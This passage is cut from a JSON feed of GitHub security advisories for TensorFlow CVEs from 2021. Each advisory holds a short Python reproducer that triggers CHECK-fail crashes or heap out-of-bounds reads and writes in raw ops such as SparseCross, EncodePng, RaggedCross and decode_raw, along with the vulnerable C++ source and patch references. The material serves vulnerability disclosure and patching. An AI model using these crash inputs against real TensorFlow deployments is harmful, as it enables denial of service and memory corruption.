2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.280Z","updated_at":"2024-10-30T22:07:14.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3MmotaDl4dy1mZnA1","url":"https://github.com/advisories/GHSA-772j-h9xw-ffp5","title":"CHECK-fail in SparseCross due to type confusion","description":"### Impact\nThe API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:\n\n```python\nimport tensorflow as tf\n\nhashed_output = False\nnum_buckets = 1949315406\nhash_key = 1869835877\nout_type = tf.string \ninternal_type = tf.string\n\nindices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)\nindices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)\nindices = [indices_1, indices_2]\n\nvalues_1 = tf.constant([0], dtype=tf.int64)\nvalues_2 = tf.constant([72], dtype=tf.int64)\nvalues = [values_1, values_2]\n\nbatch_size = 4\nshape_1 = tf.constant([4, 122], dtype=tf.int64)\nshape_2 = tf.constant([4, 188], dtype=tf.int64)\nshapes = [shape_1, shape_2]\n\ndense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)\ndense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)\ndense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)\ndenses = [dense_1, dense_2, dense_3]\n\ntf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,\n                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)\n```\n\nThe above code will result in a `CHECK` fail in [`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):\n\n```cc\nvoid Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {\n  CHECK_EQ(dtype(), expected_dtype)\n      \u003c\u003c \" \" \u003c\u003c DataTypeString(expected_dtype) \u003c\u003c \" expected, got \"\n      \u003c\u003c DataTypeString(dtype());\n  ...\n}\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements:\n\n```cc\n  if (DT_STRING == values_.dtype())\n      return Fingerprint64(values_.vec\u003ctstring\u003e().data()[start + n]);\n  return values_.vec\u003cint64\u003e().data()[start + n];\n```\n\nFixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue.\n\n### Patches\nWe have patched the issue in GitHub commit [b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025](https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:21:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-772j-h9xw-ffp5","https://nvd.nist.gov/vuln/detail/CVE-2021-29519","https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-447.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-645.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-156.yaml","https://github.com/advisories/GHSA-772j-h9xw-ffp5"],"source_kind":"github","identifiers":["GHSA-772j-h9xw-ffp5","CVE-2021-29519"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.318Z","updated_at":"2024-10-28T21:22:35.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJjcHgtNDI3eC1xMmM2","url":"https://github.com/advisories/GHSA-2cpx-427x-q2c6","title":"CHECK-fail in AddManySparseToTensorsMap","description":"### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in  `tf.raw_ops.AddManySparseToTensorsMap`:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nsparse_indices = tf.constant(530, shape=[1, 1], dtype=tf.int64)\nsparse_values = tf.ones([1], dtype=tf.int64)\n\nshape = tf.Variable(tf.ones([55], dtype=tf.int64))\nshape[:8].assign(np.array([855, 901, 429, 892, 892, 852, 93, 96], dtype=np.int64))\n\ntf.raw_ops.AddManySparseToTensorsMap(sparse_indices=sparse_indices,\n                    sparse_values=sparse_values,\n                    sparse_shape=shape)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/kernels/sparse_tensors_map_ops.cc#L257) takes the values specified in `sparse_shape` as dimensions for the output shape: \n\n```cc\n    TensorShape tensor_input_shape(input_shape-\u003evec\u003cint64\u003e());\n```\n\nThe [`TensorShape` constructor](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188) uses a `CHECK` operation which triggers when [`InitDims`](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296) returns a non-OK status.\n  \n```cc\ntemplate \u003cclass Shape\u003e\nTensorShapeBase\u003cShape\u003e::TensorShapeBase(gtl::ArraySlice\u003cint64\u003e dim_sizes) {\n  set_tag(REP16);\n  set_data_type(DT_INVALID);\n  TF_CHECK_OK(InitDims(dim_sizes));\n}\n```\n\nIn our scenario, this occurs when adding a dimension from the argument results in overflow:\n\n```cc\ntemplate \u003cclass Shape\u003e\nStatus TensorShapeBase\u003cShape\u003e::InitDims(gtl::ArraySlice\u003cint64\u003e dim_sizes) {\n  ...\n  Status status = Status::OK();\n  for (int64 s : dim_sizes) {\n    status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));\n    if (!status.ok()) {\n      return status;\n    }\n  }\n}\n\ntemplate \u003cclass Shape\u003e\nStatus TensorShapeBase\u003cShape\u003e::AddDimWithStatus(int64 size) {\n  ...\n  int64 new_num_elements;\n  if (kIsPartial \u0026\u0026 (num_elements() \u003c 0 || size \u003c 0)) {\n    new_num_elements = -1;\n  } else {\n    new_num_elements = MultiplyWithoutOverflow(num_elements(), size);\n    if (TF_PREDICT_FALSE(new_num_elements \u003c 0)) {\n        return errors::Internal(\"Encountered overflow when multiplying \",\n                                num_elements(), \" with \", size,\n                                \", result: \", new_num_elements);\n      }\n  }\n  ...\n}\n```\n\nThis is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK`-failures in the presence of overflows.\n\n### Patches\nWe have patched the issue in GitHub commit [69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c](https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:21:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2cpx-427x-q2c6","https://nvd.nist.gov/vuln/detail/CVE-2021-29523","https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-451.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-649.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-160.yaml","https://github.com/advisories/GHSA-2cpx-427x-q2c6"],"source_kind":"github","identifiers":["GHSA-2cpx-427x-q2c6","CVE-2021-29523"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.357Z","updated_at":"2024-10-30T23:14:34.000Z","epss_percentage":0.00015,"epss_percentile":0.01838},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNxeHAtcWpxNy13NGhm","url":"https://github.com/advisories/GHSA-3qxp-qjq7-w4hf","title":"CHECK-fail in tf.raw_ops.EncodePng","description":"### Impact\nAn attacker can trigger a `CHECK` fail in PNG encoding by providing an empty input tensor as the pixel data:\n\n```python\nimport tensorflow as tf\n\nimage = tf.zeros([0, 0, 3])\nimage = tf.cast(image, dtype=tf.uint8) \ntf.raw_ops.EncodePng(image=image) \n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/kernels/image/encode_png_op.cc#L57-L60) only validates that the total number of pixels in the image does not overflow. Thus, an attacker can send an empty matrix for encoding. However, if the tensor is empty, then the associated buffer is `nullptr`. Hence, when [calling `png::WriteImageToBuffer`](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/kernels/image/encode_png_op.cc#L79-L93), the first argument (i.e., `image.flat\u003cT\u003e().data()`) is `NULL`. This then triggers the `CHECK_NOTNULL` in the [first line of `png::WriteImageToBuffer`](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/lib/png/png_io.cc#L345-L349).\n\n```cc\ntemplate \u003ctypename T\u003e\nbool WriteImageToBuffer(\n    const void* image, int width, int height, int row_bytes, int num_channels,\n    int channel_bits, int compression, T* png_string,\n    const std::vector\u003cstd::pair\u003cstd::string, std::string\u003e \u003e* metadata) {\n  CHECK_NOTNULL(image);\n  ...\n}\n```\n\nSince `image` is null, this results in `abort` being called after printing the stacktrace. Effectively, this allows an attacker to mount a denial of service attack.\n\n### Patches\nWe have patched the issue in GitHub commit [26eb323554ffccd173e8a79a8c05c15b685ae4d1](https://github.com/tensorflow/tensorflow/commit/26eb323554ffccd173e8a79a8c05c15b685ae4d1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3qxp-qjq7-w4hf","https://nvd.nist.gov/vuln/detail/CVE-2021-29531","https://github.com/tensorflow/tensorflow/commit/26eb323554ffccd173e8a79a8c05c15b685ae4d1","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-459.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-657.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-168.yaml","https://github.com/advisories/GHSA-3qxp-qjq7-w4hf"],"source_kind":"github","identifiers":["GHSA-3qxp-qjq7-w4hf","CVE-2021-29531"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.443Z","updated_at":"2024-10-30T23:20:20.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWo0N2YtNDIzMi1odnY4","url":"https://github.com/advisories/GHSA-j47f-4232-hvv8","title":"Heap out of bounds read in `RaggedCross`","description":"### Impact\nAn attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to `tf.raw_ops.RaggedCross`:\n\n```python\nimport tensorflow as tf\n\nragged_values = []\nragged_row_splits = [] \nsparse_indices = []\nsparse_values = []\nsparse_shape = []\n\ndense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)\ndense_inputs = [dense_inputs_elem]\n\ninput_order = \"R\"\nhashed_output = False\nnum_buckets = 0\nhash_key = 0 \n\ntf.raw_ops.RaggedCross(ragged_values=ragged_values,\n    ragged_row_splits=ragged_row_splits,\n    sparse_indices=sparse_indices,\n    sparse_values=sparse_values,\n    sparse_shape=sparse_shape,\n    dense_inputs=dense_inputs,\n    input_order=input_order,\n    hashed_output=hashed_output,\n    num_buckets=num_buckets,\n    hash_key=hash_key,\n    out_values_type=tf.int64,\n    out_row_splits_type=tf.int64)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efea03b38fb8d3b81762237dc85e579cc5fc6e87/tensorflow/core/kernels/ragged_cross_op.cc#L456-L487) lacks validation for the user supplied arguments:\n\n```cc\nint next_ragged = 0;\nint next_sparse = 0;\nint next_dense = 0;\nfor (char c : input_order_) {\n  if (c == 'R') {\n    TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(\n        ragged_values_list[next_ragged], ragged_splits_list[next_ragged],\n        features));\n    next_ragged++;\n  } else if (c == 'S') {\n    TF_RETURN_IF_ERROR(BuildSparseFeatureReader(\n        sparse_indices_list[next_sparse], sparse_values_list[next_sparse],\n        batch_size, features));\n    next_sparse++;\n  } else if (c == 'D') {\n    TF_RETURN_IF_ERROR(\n        BuildDenseFeatureReader(dense_list[next_dense++], features));\n  }\n  ...\n}\n```\n\nEach of the above branches call a helper function after accessing array elements via a `*_list[next_*]` pattern, followed by incrementing the `next_*` index. However, as there is no validation that the `next_*` values are in the valid range for the corresponding `*_list` arrays, this results in heap OOB reads.\n\n### Patches\nWe have patched the issue in GitHub commit [44b7f486c0143f68b56c34e2d01e146ee445134a](https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j47f-4232-hvv8","https://nvd.nist.gov/vuln/detail/CVE-2021-29532","https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-460.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-658.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-169.yaml","https://github.com/advisories/GHSA-j47f-4232-hvv8"],"source_kind":"github","identifiers":["GHSA-j47f-4232-hvv8","CVE-2021-29532"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.452Z","updated_at":"2024-10-30T23:21:40.000Z","epss_percentage":0.00017,"epss_percentile":0.02699},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNoOG0tNDgzai03eHht","url":"https://github.com/advisories/GHSA-3h8m-483j-7xxm","title":"Heap out of bounds read in `RequantizationRange`","description":"### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([1], shape=[1], dtype=tf.qint32) \ninput_max = tf.constant([], dtype=tf.float32)\ninput_min = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.RequantizationRange(input=input, input_min=input_min, input_max=input_max)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ac328eaa3870491ababc147822cd04e91a790643/tensorflow/core/kernels/requantization_range_op.cc#L49-L50) assumes that the `input_min` and `input_max` tensors have at least one element, as it accesses the first element in two arrays:\n\n```cc\nconst float input_min_float = ctx-\u003einput(1).flat\u003cfloat\u003e()(0);\nconst float input_max_float = ctx-\u003einput(2).flat\u003cfloat\u003e()(0);\n```\n\nIf the tensors are empty, `.flat\u003cT\u003e()` is an empty object, backed by an empty array. Hence, accesing even the 0th element is a read outside the bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [ef0c008ee84bad91ec6725ddc42091e19a30cf0e](https://github.com/tensorflow/tensorflow/commit/ef0c008ee84bad91ec6725ddc42091e19a30cf0e).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:25:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3h8m-483j-7xxm","https://nvd.nist.gov/vuln/detail/CVE-2021-29569","https://github.com/tensorflow/tensorflow/commit/ef0c008ee84bad91ec6725ddc42091e19a30cf0e","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-497.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-695.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-206.yaml","https://github.com/advisories/GHSA-3h8m-483j-7xxm"],"source_kind":"github","identifiers":["GHSA-3h8m-483j-7xxm","CVE-2021-29569"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.925Z","updated_at":"2024-11-01T17:05:45.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThwbXgtcDI0NC1nODho","url":"https://github.com/advisories/GHSA-8pmx-p244-g88h","title":"Interpreter crash from `tf.io.decode_raw`","description":"### Impact\nThe implementation of `tf.io.decode_raw` produces incorrect results and crashes the Python interpreter when combining `fixed_length` and wider datatypes.\n\n```python\nimport tensorflow as tf\n\ntf.io.decode_raw(tf.constant([\"1\",\"2\",\"3\",\"4\"]), tf.uint16, fixed_length=4)\n```                \n                   \nThe [implementation of the padded version](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc) is buggy due to a confusion about pointer arithmetic rules.\n\nFirst, the code [computes](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L61) the width of each output element by dividing the `fixed_length` value to the size of the type argument:\n\n```cc\nint width = fixed_length / sizeof(T);\n```\n\nThe `fixed_length` argument is also used to determine the [size needed for the output tensor](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L63-L79):\n\n```cc\nTensorShape out_shape = input.shape();\nout_shape.AddDim(width);\nTensor* output_tensor = nullptr;\nOP_REQUIRES_OK(context, context-\u003eallocate_output(\"output\", out_shape, \u0026output_tensor));\n\nauto out = output_tensor-\u003eflat_inner_dims\u003cT\u003e();\nT* out_data = out.data();\nmemset(out_data, 0, fixed_length * flat_in.size());\n```\n\nThis is followed by [reencoding code](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L85-L94):\n\n```cc\nfor (int64 i = 0; i \u003c flat_in.size(); ++i) {\n  const T* in_data = reinterpret_cast\u003cconst T*\u003e(flat_in(i).data());\n\n  if (flat_in(i).size() \u003e fixed_length) {\n    memcpy(out_data, in_data, fixed_length);\n  } else {\n    memcpy(out_data, in_data, flat_in(i).size());\n  }\n  out_data += fixed_length;\n}\n```\n\nThe erroneous code is the last line above: it is moving the `out_data` pointer by `fixed_length * sizeof(T)` bytes whereas it only copied at most `fixed_length` bytes from the input. This results in parts of the input not being decoded into the output.\n\nFurthermore, because the pointer advance is far wider than desired, this quickly leads to writing to outside the bounds of the backing data. This OOB write leads to interpreter crash in the reproducer mentioned here, but more severe attacks can be mounted too, given that this gadget allows writing to periodically placed locations in memory.\n\n### Patches\nWe have patched the issue in GitHub commit 